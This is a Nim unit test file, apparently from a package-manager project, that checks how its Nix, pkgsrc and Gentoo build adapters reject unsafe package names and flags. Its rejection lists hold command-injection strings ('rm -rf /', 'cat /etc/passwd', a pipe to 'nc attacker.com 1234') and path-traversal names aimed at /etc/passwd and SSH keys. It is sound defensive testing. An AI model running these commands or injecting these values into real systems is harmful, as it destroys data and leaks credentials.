362 lines
11 KiB
Nim
362 lines
11 KiB
Nim
## test_security.nim
|
|
## Security validation tests for build system
|
|
|
|
import std/[unittest, tables, os, strutils]
|
|
import ../src/nimpak/build/[types, nix_adapter, pkgsrc_adapter, gentoo_adapter]
|
|
|
|
suite "Security Validation Tests":
|
|
|
|
test "Nix: Package name validation - valid names":
|
|
let adapter = newNixAdapter()
|
|
|
|
let validNames = @[
|
|
"firefox",
|
|
"nixpkgs.firefox",
|
|
"my-package",
|
|
"package_name",
|
|
"package.with.dots",
|
|
"Package123",
|
|
"a", # Single char
|
|
"a" & "b".repeat(254) # Max length (255)
|
|
]
|
|
|
|
for name in validNames:
|
|
let request = BuildRequest(
|
|
packageName: name,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
|
|
let result = adapter.buildPackage(request)
|
|
# Should not fail on validation
|
|
if not result.success and result.errors.len > 0:
|
|
check "Invalid package name" notin result.errors[0]
|
|
|
|
test "Nix: Package name validation - invalid names":
|
|
let adapter = newNixAdapter()
|
|
|
|
let invalidNames = @[
|
|
"", # Empty
|
|
"../etc/passwd", # Path traversal
|
|
"/absolute/path", # Absolute path
|
|
"package;rm -rf /", # Command injection
|
|
"package`whoami`", # Command substitution
|
|
"package$(whoami)", # Command substitution
|
|
"package|cat", # Pipe
|
|
"package&background", # Background
|
|
"a" & "b".repeat(300) # Too long (>255)
|
|
]
|
|
|
|
for name in invalidNames:
|
|
let request = BuildRequest(
|
|
packageName: name,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
|
|
let result = adapter.buildPackage(request)
|
|
check result.success == false
|
|
check result.errors.len > 0
|
|
|
|
test "Nix: Override key validation - valid keys":
|
|
let adapter = newNixAdapter()
|
|
|
|
let validFlags = @[
|
|
"waylandSupport = true",
|
|
"enable-feature = false",
|
|
"with_option = true",
|
|
"flag123 = true",
|
|
"a = true" # Single char
|
|
]
|
|
|
|
let request = BuildRequest(
|
|
packageName: "test",
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: validFlags,
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
|
|
let result = adapter.buildPackage(request)
|
|
# Should not fail on validation
|
|
if not result.success and result.errors.len > 0:
|
|
check "Invalid override key" notin result.errors[0]
|
|
|
|
test "Nix: Override key validation - invalid keys":
|
|
let adapter = newNixAdapter()
|
|
|
|
let invalidKeys = @[
|
|
"bad;key = true", # Semicolon
|
|
"bad`key = true", # Backtick
|
|
"bad$key = true", # Dollar sign
|
|
"bad key = true", # Space
|
|
"bad/key = true", # Slash
|
|
"bad\\key = true", # Backslash
|
|
"a" & "b".repeat(150) & " = true" # Too long (>100)
|
|
]
|
|
|
|
for flag in invalidKeys:
|
|
let request = BuildRequest(
|
|
packageName: "test",
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[flag],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
|
|
let result = adapter.buildPackage(request)
|
|
check result.success == false
|
|
|
|
test "PKGSRC: Package name validation":
|
|
let adapter = newPkgsrcAdapter()
|
|
|
|
# Valid names
|
|
let validNames = @["bash", "firefox", "my-package"]
|
|
for name in validNames:
|
|
let request = BuildRequest(
|
|
packageName: name,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
let result = adapter.buildPackage(request)
|
|
if not result.success and result.errors.len > 0:
|
|
check "Invalid package name" notin result.errors[0]
|
|
|
|
# Invalid names
|
|
let invalidNames = @["../etc/passwd", "/absolute", "bad;name"]
|
|
for name in invalidNames:
|
|
let request = BuildRequest(
|
|
packageName: name,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
let result = adapter.buildPackage(request)
|
|
check result.success == false
|
|
|
|
test "PKGSRC: PKG_OPTIONS validation":
|
|
let adapter = newPkgsrcAdapter()
|
|
|
|
# Valid options
|
|
let validOptions = @["wayland", "pulseaudio", "enable-feature"]
|
|
let request1 = BuildRequest(
|
|
packageName: "test",
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: validOptions,
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
let result1 = adapter.buildPackage(request1)
|
|
if not result1.success and result1.errors.len > 0:
|
|
check "Invalid PKG_OPTIONS" notin result1.errors[0]
|
|
|
|
# Invalid options
|
|
let invalidOptions = @["bad;option", "bad`option", "bad$option"]
|
|
for opt in invalidOptions:
|
|
let request = BuildRequest(
|
|
packageName: "test",
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[opt],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
let result = adapter.buildPackage(request)
|
|
check result.success == false
|
|
|
|
test "Gentoo: Package name validation":
|
|
let adapter = newGentooAdapter()
|
|
|
|
# Valid names (including category/package format)
|
|
let validNames = @["bash", "app-editors/vim", "sys-apps/portage"]
|
|
for name in validNames:
|
|
let request = BuildRequest(
|
|
packageName: name,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
let result = adapter.buildPackage(request)
|
|
if not result.success and result.errors.len > 0:
|
|
check "Invalid package name" notin result.errors[0]
|
|
|
|
# Invalid names
|
|
let invalidNames = @["../etc/passwd", "//absolute", "bad;name"]
|
|
for name in invalidNames:
|
|
let request = BuildRequest(
|
|
packageName: name,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
let result = adapter.buildPackage(request)
|
|
check result.success == false
|
|
|
|
test "Gentoo: USE flag validation":
|
|
let adapter = newGentooAdapter()
|
|
|
|
# Valid USE flags (including +/- prefixes)
|
|
let validFlags = @["wayland", "-gtk", "+qt5", "pulseaudio"]
|
|
let request1 = BuildRequest(
|
|
packageName: "test",
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: validFlags,
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
let result1 = adapter.buildPackage(request1)
|
|
if not result1.success and result1.errors.len > 0:
|
|
check "Invalid USE flag" notin result1.errors[0]
|
|
|
|
# Invalid USE flags
|
|
let invalidFlags = @["bad;flag", "bad`flag", "bad$flag", "bad flag"]
|
|
for flag in invalidFlags:
|
|
let request = BuildRequest(
|
|
packageName: "test",
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[flag],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
let result = adapter.buildPackage(request)
|
|
check result.success == false
|
|
|
|
test "Path traversal prevention - all adapters":
|
|
let nixAdapter = newNixAdapter()
|
|
let pkgsrcAdapter = newPkgsrcAdapter()
|
|
let gentooAdapter = newGentooAdapter()
|
|
|
|
let traversalAttempts = @[
|
|
"../../../etc/passwd",
|
|
"../../root/.ssh/id_rsa",
|
|
"package/../../../etc",
|
|
"./../../sensitive"
|
|
]
|
|
|
|
for attempt in traversalAttempts:
|
|
# Test Nix
|
|
let nixReq = BuildRequest(
|
|
packageName: attempt,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
check nixAdapter.buildPackage(nixReq).success == false
|
|
|
|
# Test PKGSRC
|
|
let pkgsrcReq = BuildRequest(
|
|
packageName: attempt,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
check pkgsrcAdapter.buildPackage(pkgsrcReq).success == false
|
|
|
|
# Test Gentoo
|
|
let gentooReq = BuildRequest(
|
|
packageName: attempt,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
check gentooAdapter.buildPackage(gentooReq).success == false
|
|
|
|
test "Command injection prevention - shell escaping":
|
|
let adapter = newNixAdapter()
|
|
|
|
let injectionAttempts = @[
|
|
"package; rm -rf /",
|
|
"package && cat /etc/passwd",
|
|
"package | nc attacker.com 1234",
|
|
"package`whoami`",
|
|
"package$(id)",
|
|
"package & background_cmd"
|
|
]
|
|
|
|
for attempt in injectionAttempts:
|
|
let request = BuildRequest(
|
|
packageName: attempt,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
|
|
let result = adapter.buildPackage(request)
|
|
# Should be rejected by validation
|
|
check result.success == false
|
|
check result.errors.len > 0
|
|
|
|
test "Length limits enforcement":
|
|
let adapter = newNixAdapter()
|
|
|
|
# Package name too long (>255)
|
|
let longName = "a" & "b".repeat(300)
|
|
let req1 = BuildRequest(
|
|
packageName: longName,
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
check adapter.buildPackage(req1).success == false
|
|
|
|
# Override key too long (>100)
|
|
let longKey = "a" & "b".repeat(150) & " = true"
|
|
let req2 = BuildRequest(
|
|
packageName: "test",
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[longKey],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
check adapter.buildPackage(req2).success == false
|
|
|
|
test "Empty input rejection":
|
|
let nixAdapter = newNixAdapter()
|
|
let pkgsrcAdapter = newPkgsrcAdapter()
|
|
let gentooAdapter = newGentooAdapter()
|
|
|
|
# Empty package name
|
|
let emptyReq = BuildRequest(
|
|
packageName: "",
|
|
version: "",
|
|
variantFlags: initTable[string, seq[string]](),
|
|
sourceFlags: @[],
|
|
cacheDir: getTempDir(),
|
|
verbose: false
|
|
)
|
|
|
|
check nixAdapter.buildPackage(emptyReq).success == false
|
|
check pkgsrcAdapter.buildPackage(emptyReq).success == false
|
|
check gentooAdapter.buildPackage(emptyReq).success == false
|